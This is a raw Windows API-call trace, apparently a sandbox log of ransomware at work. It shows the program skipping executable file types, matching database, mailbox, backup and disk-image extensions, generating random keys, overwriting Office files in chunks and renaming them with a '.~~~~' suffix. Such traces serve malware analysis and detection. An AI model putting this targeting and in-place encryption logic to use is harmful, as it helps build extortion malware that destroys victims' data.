	[0137.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0137.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0137.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0137.432] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25742254610) returned 1
	[0137.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbb5c7230, dwHighDateTime=0x1d60e1e)) 
	[0137.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0137.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0137.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0137.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4fc8
	[0137.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4fc8 | out: hHeap=0x300000) returned 1
	[0137.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce230
	[0137.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc4a8
	[0137.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.469] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0137.469] GetLastError () returned 0x0
	[0137.469] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0137.469] GetLastError () returned 0x0
	[0137.471] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffd000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.471] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x3000, lpOverlapped=0x0) returned 1
	[0137.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0137.472] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.472] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.472] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.472] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.472] CloseHandle (hObject=0x114) returned 1
	[0137.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6088
	[0137.473] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt.~~~~")) returned 1
	[0137.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c6088 | out: hHeap=0x300000) returned 1
	[0137.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0137.475] GetLastError () returned 0x0
	[0137.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".scr") returned 0x0
	[0137.476] lstrlenW (lpString=".cmd") returned 4
	[0137.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".cmd") returned 0x0
	[0137.476] lstrlenW (lpString=".dll") returned 4
	[0137.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".dll") returned 0x0
	[0137.476] lstrlenW (lpString=".bat") returned 4
	[0137.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".bat") returned 0x0
	[0137.476] lstrlenW (lpString=".cpl") returned 4
	[0137.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".cpl") returned 0x0
	[0137.476] lstrlenW (lpString=".sys") returned 4
	[0137.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".sys") returned 0x0
	[0137.476] lstrlenW (lpString=".msc") returned 4
	[0137.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".msc") returned 0x0
	[0137.476] lstrlenW (lpString=".com") returned 4
	[0137.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".com") returned 0x0
	[0137.476] lstrlenW (lpString=".lnk") returned 4
	[0137.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".lnk") returned 0x0
	[0137.476] lstrlenW (lpString=".msp") returned 4
	[0137.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".msp") returned 0x0
	[0137.476] lstrlenW (lpString=".pif") returned 4
	[0137.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".pif") returned 0x0
	[0137.476] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch="msp\r\n.pif") returned 0x0
	[0137.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchkey.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0137.478] lstrlenW (lpString=".sqb") returned 4
	[0137.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".sqb") returned 0x0
	[0137.479] lstrlenW (lpString=".ost") returned 4
	[0137.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".ost") returned 0x0
	[0137.479] lstrlenW (lpString=".txt") returned 4
	[0137.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".txt") returned 0x0
	[0137.479] lstrlenW (lpString=".mdt") returned 4
	[0137.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".mdt") returned 0x0
	[0137.479] lstrlenW (lpString=".BDB") returned 4
	[0137.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".BDB") returned 0x0
	[0137.479] lstrlenW (lpString=".eql") returned 4
	[0137.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".eql") returned 0x0
	[0137.479] lstrlenW (lpString=".DBF") returned 4
	[0137.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".DBF") returned 0x0
	[0137.479] lstrlenW (lpString=".EQL") returned 4
	[0137.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".EQL") returned 0x0
	[0137.479] lstrlenW (lpString=".FDB") returned 4
	[0137.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".FDB") returned 0x0
	[0137.479] lstrlenW (lpString=".EDB") returned 4
	[0137.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".EDB") returned 0x0
	[0137.479] lstrlenW (lpString=".DACPAC") returned 7
	[0137.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".DACPAC") returned 0x0
	[0137.479] lstrlenW (lpString=".VHD") returned 4
	[0137.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".VHD") returned 0x0
	[0137.479] lstrlenW (lpString=".DBV") returned 4
	[0137.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".DBV") returned 0x0
	[0137.479] lstrlenW (lpString=".dacpac") returned 7
	[0137.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".dacpac") returned 0x0
	[0137.480] lstrlenW (lpString=".sdf") returned 4
	[0137.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".sdf") returned 0x0
	[0137.480] lstrlenW (lpString=".accdb") returned 6
	[0137.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".accdb") returned 0x0
	[0137.480] lstrlenW (lpString=".DBX") returned 4
	[0137.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".DBX") returned 0x0
	[0137.480] lstrlenW (lpString=".MDT") returned 4
	[0137.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".MDT") returned 0x0
	[0137.480] lstrlenW (lpString=".SQB") returned 4
	[0137.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".SQB") returned 0x0
	[0137.480] lstrlenW (lpString=".vhd") returned 4
	[0137.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".vhd") returned 0x0
	[0137.480] lstrlenW (lpString=".bac") returned 4
	[0137.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".bac") returned 0x0
	[0137.480] lstrlenW (lpString=".mdf") returned 4
	[0137.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".mdf") returned 0x0
	[0137.480] lstrlenW (lpString=".BAK") returned 4
	[0137.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".BAK") returned 0x0
	[0137.480] lstrlenW (lpString=".BAC") returned 4
	[0137.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".BAC") returned 0x0
	[0137.480] lstrlenW (lpString=".dbs") returned 4
	[0137.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".dbs") returned 0x0
	[0137.481] lstrlenW (lpString=".vhdx") returned 5
	[0137.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".vhdx") returned 0x0
	[0137.481] lstrlenW (lpString=".NDF") returned 4
	[0137.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".NDF") returned 0x0
	[0137.481] lstrlenW (lpString=".dat") returned 4
	[0137.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".dat") returned 0x0
	[0137.481] lstrlenW (lpString=".DBS") returned 4
	[0137.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".DBS") returned 0x0
	[0137.481] lstrlenW (lpString=".CKP") returned 4
	[0137.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".CKP") returned 0x0
	[0137.481] lstrlenW (lpString=".edb") returned 4
	[0137.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".edb") returned 0x0
	[0137.481] lstrlenW (lpString=".PST") returned 4
	[0137.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".PST") returned 0x0
	[0137.481] lstrlenW (lpString=".dbf") returned 4
	[0137.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".dbf") returned 0x0
	[0137.481] lstrlenW (lpString=".SQL") returned 4
	[0137.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".SQL") returned 0x0
	[0137.481] lstrlenW (lpString=".pst") returned 4
	[0137.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".pst") returned 0x0
	[0137.481] lstrlenW (lpString=".dbv") returned 4
	[0137.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".dbv") returned 0x0
	[0137.482] lstrlenW (lpString=".SDF") returned 4
	[0137.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".SDF") returned 0x0
	[0137.482] lstrlenW (lpString=".dtxs") returned 5
	[0137.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".dtxs") returned 0x0
	[0137.482] lstrlenW (lpString=".db3") returned 4
	[0137.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".db3") returned 0x0
	[0137.482] lstrlenW (lpString=".OST") returned 4
	[0137.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".OST") returned 0x0
	[0137.482] lstrlenW (lpString=".dbx") returned 4
	[0137.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".dbx") returned 0x0
	[0137.482] lstrlenW (lpString=".DB3") returned 4
	[0137.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".DB3") returned 0x0
	[0137.482] lstrlenW (lpString=".DAT") returned 4
	[0137.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT", lpSrch=".DAT") returned=".DAT"
	[0137.482] lstrlenW (lpString=".DAT") returned 4
	[0137.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0137.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.482] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394860) returned 1
	[0137.484] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.484] CryptReleaseContext (hProv=0x394860, dwFlags=0x0) returned 1
	[0137.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0137.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0137.484] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25747427906) returned 1
	[0137.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbb639650, dwHighDateTime=0x1d60e1e)) 
	[0137.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0137.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0137.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0137.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825748
	[0137.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825748 | out: hHeap=0x300000) returned 1
	[0137.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce230
	[0137.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6120
	[0137.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.485] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0137.485] GetLastError () returned 0x0
	[0137.486] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0137.486] GetLastError () returned 0x0
	[0137.489] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.489] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.491] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.494] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.494] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.495] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.495] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.496] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.496] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x4777, lpOverlapped=0x0) returned 1
	[0137.496] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffb889, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.496] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x4777, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x4777, lpOverlapped=0x0) returned 1
	[0137.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0137.496] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.497] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.497] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.497] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.497] CloseHandle (hObject=0x114) returned 1
	[0137.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6120
	[0137.497] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchkey.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchkey.dat.~~~~")) returned 1
	[0137.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c6120 | out: hHeap=0x300000) returned 1
	[0137.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0137.500] GetLastError () returned 0x0
	[0137.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".scr") returned 0x0
	[0137.500] lstrlenW (lpString=".cmd") returned 4
	[0137.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".cmd") returned 0x0
	[0137.500] lstrlenW (lpString=".dll") returned 4
	[0137.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".dll") returned 0x0
	[0137.500] lstrlenW (lpString=".bat") returned 4
	[0137.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".bat") returned 0x0
	[0137.500] lstrlenW (lpString=".cpl") returned 4
	[0137.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".cpl") returned 0x0
	[0137.501] lstrlenW (lpString=".sys") returned 4
	[0137.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".sys") returned 0x0
	[0137.501] lstrlenW (lpString=".msc") returned 4
	[0137.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".msc") returned 0x0
	[0137.501] lstrlenW (lpString=".com") returned 4
	[0137.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".com") returned 0x0
	[0137.501] lstrlenW (lpString=".lnk") returned 4
	[0137.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".lnk") returned 0x0
	[0137.501] lstrlenW (lpString=".msp") returned 4
	[0137.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".msp") returned 0x0
	[0137.501] lstrlenW (lpString=".pif") returned 4
	[0137.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".pif") returned 0x0
	[0137.501] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch="msp\r\n.pif") returned 0x0
